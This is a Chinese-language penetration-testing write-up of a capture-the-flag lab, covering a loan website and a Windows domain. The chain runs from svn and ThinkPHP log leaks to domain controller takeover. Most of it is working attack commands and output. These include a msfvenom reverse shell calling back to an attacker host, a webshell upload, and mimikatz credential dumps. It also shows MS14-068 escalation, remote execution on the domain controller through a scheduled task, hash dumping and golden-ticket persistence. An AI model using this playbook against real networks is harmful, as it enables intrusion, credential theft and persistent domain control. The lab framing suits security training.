环境
DC域控:10.10.10.149
WEB:192.168.2.27(外网)、10.10.10.150(内网)
Kali:192.168.2.28
本文知识点:
svn源码泄露
thinkphp3日志泄露
贷款后台getshell
msf下的内网渗透
ms16-048提权到域控
黄金票据
主机发现
信息搜集
首先使用nbtscan对内网进行扫描,发现靶机ip为192.168.2.27:
nbtscan -r 192.168.2.4/24
之后对靶机进行端口扫描:
nmap -A 1-65535 -sV 192.168.2.27
由上图可知,目标开放了80端口,其中用的是phpstudy搭建的网站,用ip打开发现是一个403:
那么对其扫描目录看看有没有敏感文件:
dirb http://192.168.2.27/
并没有扫描到可利用的文件,估计是字典问题。
由于上面扫描结果发现目标有一个域名:webhack123.com,我们访问其看发现是一个贷款网站:
使用whatweb查看网站信息:发现是ThinkPHP框架:
之后继续进行目录扫描:
dirb http://www.webhack123.com
发现一个 svn 目录,有可能是 svn 文件泄露!
svn 文件泄露漏洞
之后使用 github 上的利用工具进行利用:https://github.com/admintony/svnExploit
python SvnExploit.py -u http://www.webhack123.com/.svn
下载目标源码:
python SvnExploit.py -u http://www.webhack123.com/.svn --dump
其中发现一个wc.db数据库文件:
那么我们就可以打开这个文件查看数据库:里面有网站文件
sqlitebrowser wc.db
看着目录结构应该是tp
低版本的,反正不可能是tp5
:
其中发现有很多日志文件:
thinkphp3.2日志泄露漏洞
由于是tp低版本的,我在网上找到了一个日志泄露漏洞:https://blog.csdn.net/Fly_hps/article/details/84994290
发现当前的tp版本是:tp3.2
THINKPHP3.2 结构:Application\Runtime\Logs\Home\16_09_09.log
THINKPHP3.1结构:Runtime\Logs\Home\16_09_09.log
由于这个版本的thinkphp的错误日志里会显示出数据库的sql执行信息,而我们要找的是数据库密码、网站后台登陆密码,这样才能对我们有利用价值,而且我们看日志只需要看最新的日志,因为考虑到目标可能更改了密码,而最新的密码是不会更改的!
其中最新的日志是App/Runtime/Logs/19_03_18.log:
通过crlt+f快速锁定password,得到一些账号和密码哈希值:
admin 10470c3b4b1fed12c3baac014be15fac67c6e815
18888888888 10470c3b4b1fed12c3baac014be15fac67c6e815
解密之后得到明文为:123456
既然拿到管理员后台账号密码了,我们就去找后台地址吧!
后台查找
一般来说我们找网站后台无非几种方法:
因为之前我们对他进行目录扫描了,没有找到后台地址,那么还有子域名和Host碰撞子域名。
而子域名的话由于是靶场,一般来说没得,只能通过ip碰撞的形式,就是下面的方法。
所以我们采用第三种方式:ip-host碰撞查找子域名
Host_Ip碰撞工具:https://github.com/fofapro/Hosts_scan
host.txt里填写的是要碰撞的子域名:webhack123.com,admin... 可以自行添加字典!
ip.txt里填写的是目标的ip:192.168.2.27
python IP_hosts_scan_multithreading.py
运行完后,能访问到的子域名会在本地的host_ok.txt保存:
可以看到上图,只有admin.webhack123.com的子域名是200状态码,那么我们修改一下我们的hosts文件才可以访问:
vi /etc/hosts
这个时候就能访问:admin.webhack123.com
这个时候通过之前拿到的后台密码发现登陆失败:
有两种情况:
回炉再造之峰回路转重新查找目标日志,由于之前我找到的是19年的日志,密码不对,因此我们写一个python脚本来锁定20年的日志:
#coding:utf-8
import requests
url ="http://www.webhack123.com/App/Runtime/Logs"
def add_urls(patch,y):
urls=[]
for i in range(1,7):
for j in range(1,32):
if i<10:
if j<10:
urls.append(patch+"/%s_0%s_0%s.log" %(y,i,j))
else:
urls.append(patch+"/%s_0%s_%s.log" %(y,i,j))
else:
if j<10:
urls.append(patch+"/%s_%s_0%s.log" %(y,i,j))
else:
urls.append(patch+"/%s_%s_%s.log" %(y,i,j))
return urls
urls = add_urls(url,"20")
for i in urls:
req=requests.get(i)
if req.status_code==200:
print(i)
html = req.text
with open("webhack123.txt",'a',encoding='utf-8') as f:
f.write(html)
之后使用python3运行脚本:
python3 tp.py
通过锁定sql日志最后一次的password记录,发现哈希为:74c774ef39b5b977c1fd59dbfc73c3e380a65aa3
解密发现密码为:web123
这个时候就使用账号密码:admin、web123 登陆成功!
贷款网站后台getshell
进入后台后我发现一个可以修改上传后缀的点,直接修改php为允许上传:
之后通过网站logo处上传php大马成功getshell:
木马地址:http://admin.webhack123.com/Public/Upload/20201115/7258eb2e86878d1ea633865934c6a2ba.php
Metasploit 进行内网渗透
既然拿到shell了,我们通过查看whoami发现我们是一个管理员权限:
不管了,先用cobaltstrike让目标上线吧,上线之前先看看目标机器上有没有AV,有的话我们还需要做一下免杀:
tasklist /v
查看进程发现没有AV,这个时候就可以直接用MSF反弹一个shell:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.28 lport=5555 -f exe>5555.exe
之后设置MSF监听,然后运行木马上线:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.28
set lport 5555
run
之后使用MSF自带的模块进行进程迁移到system的进程:
这个时候尝试抓目标系统上的密码,我使用的是MSF自带的mimikatz模块:
# 加载mimikatz模块
load mimikatz
# 抓取密码
wdigest
抓到了administrator的密码为:!@#Qwe456,而且目标看上去是一个域环境。
meterpreter > wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
===================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;47706 NTLM
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;423161 NTLM WEB Administrator !@#Qwe456
0;996 Negotiate HACKBOX WEB$ fd 98 a6 6e 20 e3 7b c1 4d 89 89 44 ac 7d 5e eb e5 e4 05 66 32 4d 9d 18 4e 8d 20 b1 ee 19 31 27 88 ec 81 a4 c1 d7 09 81 8d 49 e2 53 28 fd 98 5b 0a 84 49 b2 12 8c fd e1 f3 be 44 d4 f6 fc 20 54 b4 2b 85 6a 04 6f 5b d4 30 3d 03 b8 bc 84 9e c0 0c 3a 0f fa 9d 13 22 df 80 23 67 72 04 5e be 7c a7 f7 84 f1 eb 3f 5e 0f 85 23 7f 20 24 89 fe 2f 73 08 ee b6 e7 50 f7 e2 d5 19 4b 36 2b 73 90 da d1 c3 e7 a7 c4 32 e6 1b d4 7c e2 de 46 35 2d ff f7 d0 53 0d 38 76 4a a7 98 7b 95 a4 1e 72 7c ad b3 d6 fc 81 f0 af 7f 43 e7 38 58 fc 5b a1 2a 67 65 aa 09 f2 ff 2d 46 a6 6b 51 1a 25 58 77 d1 bc 75 6c 12 94 10 34 57 b7 5b 02 e6 cb 1c 7b e4 a1 ee cf 91 0c 7c 81 53 74 5e e4 8e 5f 11 be 72 e0 77 42 c3 73 08 af d2 fe 17 18 4a 29 24 bd 4a 86
0;999 Negotiate HACKBOX WEB$ fd 98 a6 6e 20 e3 7b c1 4d 89 89 44 ac 7d 5e eb e5 e4 05 66 32 4d 9d 18 4e 8d 20 b1 ee 19 31 27 88 ec 81 a4 c1 d7 09 81 8d 49 e2 53 28 fd 98 5b 0a 84 49 b2 12 8c fd e1 f3 be 44 d4 f6 fc 20 54 b4 2b 85 6a 04 6f 5b d4 30 3d 03 b8 bc 84 9e c0 0c 3a 0f fa 9d 13 22 df 80 23 67 72 04 5e be 7c a7 f7 84 f1 eb 3f 5e 0f 85 23 7f 20 24 89 fe 2f 73 08 ee b6 e7 50 f7 e2 d5 19 4b 36 2b 73 90 da d1 c3 e7 a7 c4 32 e6 1b d4 7c e2 de 46 35 2d ff f7 d0 53 0d 38 76 4a a7 98 7b 95 a4 1e 72 7c ad b3 d6 fc 81 f0 af 7f 43 e7 38 58 fc 5b a1 2a 67 65 aa 09 f2 ff 2d 46 a6 6b 51 1a 25 58 77 d1 bc 75 6c 12 94 10 34 57 b7 5b 02 e6 cb 1c 7b e4 a1 ee cf 91 0c 7c 81 53 74 5e e4 8e 5f 11 be 72 e0 77 42 c3 73 08 af d2 fe 17 18 4a 29 24 bd 4a 86
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;996 Negotiate HACKBOX WEB$ lm{ 00000000000000000000000000000000 }, ntlm{ 9c85552a37071a3d5cb1323478044b0d }
0;47706 NTLM lm{ 00000000000000000000000000000000 }, ntlm{ 9c85552a37071a3d5cb1323478044b0d }
0;423161 NTLM WEB Administrator lm{ c6125126643bbe191e929ffc01395127 }, ntlm{ 086a0bb1ed4ec72250760ea531bf8074 }
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;999 Negotiate HACKBOX WEB$ n.s. (Credentials KO
为了验证一下我们查看一下目标:ipconfig /all,发现目标是存在域环境的,主机名是:web,域是:hackbox.com,并且目标是有双网卡,有一个内网网卡,内网ip为:10.10.10.150,其中dns服务器是:10.10.10.149
一般情况下,域控制器的ip地址就是dns服务器ip,10.10.10.149这个ip有可能是域控制器的ip!
如果不是的话,我们还可以通过MSF的模块来搜集域内信息:
# 查看是不是域环境
run post/windows/gather/enum_domain
当前的域是:hackbox,dc(域控制器)的ip为 69.172.201.153,这个ip是一个外网ip,由于是靶机的情况下,他找不到内网ip,就只能找外网的了,我们不用管。
通过域内信息搜集,发现hackbox域内只有两个主机:dc、web,而web是当前我们拿到权限的的主机:10.10.10.150,而dc应该就是:10.10.10.149:net view /domain:hackbox
这个时候ping一下dc就直接确定了dc的ip为:10.10.10.149:
之后我们需要做域内渗透,由于我们kali不能直接访问目标的内网,那么我们就需要做一层路由代理,才能对目标内网进行渗透!
添加路由:
run autoroute -s 10.10.10.0/24
然后进行socks代理:
use auxiliary/server/socks4a
再设置 proxychains:
vi /etc/proxychains.conf
这样就能对它内网进行渗透了,在使用工具的时候,命令前面加一个:proxychains
PS:proxychains不支持udp和icmp协议,因此我们需要对目标进行tcp扫描!
对域控进行端口扫描:
proxychains nmap -sT -Pn 10.10.10.149
发现目标开启了445端口,看看有没有ms17010:
auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.10.149
run
发现目标存在永恒之蓝!
随其进行ms17010漏洞利用:(由于目标是内网,不能出网,我们只能设置正向的payload,类似于cs的中转上线)
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 10.10.10.149
set payload windows/meterpreter/bind_tcp
exploit
但是利用失败了:(ms17017有的时候就有点玄学)
这个时候我们可以尝试kerberos域用户提取的漏洞:ms14-068,他能够将域内任意用户提取到域管理员!
关于这个漏洞大家可以去我公众号:渗透攻击红队查看相关文章,我之前有写过!
Ms14-068 提权到域控
由于之前我们获取到了web的密码为:!@#Qwe456,然后尝试进行远程桌面登陆域用户:发现登陆失败,域用户web应该是没有远程桌面的权限的
但是我们可以通过登陆它的工作组:
.\administrator
!@#Qwe456
那么我们之间吧ms14-068.exe上传到目标web的主机上:
upload /root/ms14-068.exe C:/phpstudy_pro/WWW/www.webhack123.com/ms14-068.exe
然后切换到ms14-068.exe那个文件的目录下:
cd C:\phpstudy_pro\WWW\www.webhack123.com\
chcp 65001 # 设置一下字符编码
由于使用ms14-068需要一个域用户的账号密码,和域用户的sid,以及域控的ip,而我们没有sid,那么我们需要使用msf查看域用户web的sid:
run post/windows/gather/enum_logged_on_users
Recently Logged Users
=====================
SID Profile Path
--- ------------
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-1443003717-4130318662-4279967973-500 C:\Users\Administrator
S-1-5-21-2005268815-658469957-1189185684-1103 C:\Users\web
S-1-5-21-2005268815-658469957-1189185684-500 C:\Users\Administrator.HACKBOX
之后就可以使用ms14-068进行攻击了:
user:hackbox\web
pass:!@#Qwe456
sid:S-1-5-21-2005268815-658469957-1189185684-1103
命令如下:
ms14-068.exe -u web@hackbox.com -p !@#Qwe456 -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149
生成的票据为:TGT_web@hackbox.com.ccache。
之后就可以使用mimikatz进行攻击了,由于msf下的mimikatz是阉割版,功能只有几个:
所以我们需要上传一个mimikatz到目标机器上进行攻击:
upload /root/mimikatz.exe C:/phpstudy_pro/WWW/www.webhack123.com/
upload /root/mimidrv.sys C:/phpstudy_pro/WWW/www.webhack123.com/
upload /root/mimilib.dll C:/phpstudy_pro/WWW/www.webhack123.com/
之后进入到mimikatz的目录进行攻击:
mimikatz.exe
# 清楚目标内存中的所有票据
kerberos::purge
# 将票据注入到目标内存
kerberos::ptc TGT_web@hackbox.com.ccache
# 查看当前票据
kerberos::list
PS:这个票据只能用7天,之后就不能使用了!
这个时候,我们就可以通过dir命令查看到目标域控的文件了:
dir \\dc\c$
最后可以使用定时任务让目标dc上线到msf,而我们要生成一个木马让目标上线,注意这里生成的木马需要是正向的,不然目标上线不了:
msfvenom -p windows/meterpreter/bind_tcp lport=10000 -f exe >10000.exe
然后吧10000.exe先上传到web主机上,之后再上传到目标dc机器上:
upload /root/10000.exe C:/phpstudy_pro/WWW/www.webhack123.com/
接下来使用copy命令吧4567.exe上传到dc的c盘下:
copy 10000.exe \\dc\c$\10000.exe
由于我们使用的是at定时任务让dc执行,那么我们需要知道目标系统的时间:
net time \\dc
那么我们让他创建一个定时任务:
# 让dc再4.35的时候执行c盘下的10000.exe
at \\dc 16:47 c:/10000.exe
最后使用MSF设置监听等待上线:
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 10000
set rhost 10.10.10.149
exploit
上线成功,我们先迁移进程到服务:(维持权限)
之后使用模块抓取dc的密码hash:
meterpreter > run post/windows/gather/smart_hashdump
[*] Running module against DC
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20201115171547_default_10.10.10.149_windows.hashes_505928.txt
[+] This host is a Domain Controller!
[*] Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7
[+] krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98
[+] web:1103:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074
[+] DC$:1000:aad3b435b51404eeaad3b435b51404ee:b5687482bfafb113dc345bb46ef81d69
[+] WEB$:1104:aad3b435b51404eeaad3b435b51404ee:9c85552a37071a3d5cb1323478044b0d
加载mimikatz抓取域控明文密码:
wdigest
密码是:Admin12345,到这一步我们的渗透已经完成%99了!
只要我们愿意,我们就可以登陆它的远程桌面(一般别用,你们懂的)
结尾 - 黄金票据
最后如果对方改密码了,我们可以通过创建一个黄金票据来进行权限维持:
我们先回到web的session,然后加载mimikatz和kimi吧web内存中的票据清除:
load mimikatz
load kiwi
kerberos_ticket_purge
这样就不能访问到目标dc了!
黄金票据需要获取域名称、域的sid、域控的Krbtgt账号的密码hash值,任意域用户!
wmic useraccount where name="krbtgt" get sid
S-1-5-21-2005268815-658469957-1189185684-502
还有一种方法获取sid:
meterpreter > dcsync_ntlm krbtgt
[+] Account : krbtgt
[+] NTLM Hash : 6f60ace6accbcb76078ccc0312174e98
[+] LM Hash : 36588bd35fd1fe85ec5fd73a1ca6805b
[+] SID : S-1-5-21-2005268815-658469957-1189185684-502
[+] RID : 502
由于我们是系统权限,我们需要切换到域管到权限才能执行下面的命令:
之后就可以制作黄金票据了:
域名:hackbox.com
域用户:web
krbtgt的sid:S-1-5-21-2005268815-658469957-1189185684-502
krbtgt的ntlm-hash:6f60ace6accbcb76078ccc0312174e98
使用命令导出票据:
golden_ticket_create -d hackbox.com -u web -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /root/krbtgt.ticket
-k ntlm-hash
-s krbtgt的sid
-t 导出票据的目录
sid后面的502不需要写在命令里
拿到票据之后我们先切换到web的session,可以看到我们现在是无法访问到dc的:
我们接下来就可以导入黄金票据:
kerberos_ticket_use /root/krbtgt.ticket
这个时候我们就可以一直访问得到dc了:
最终在域控下拿到了flag: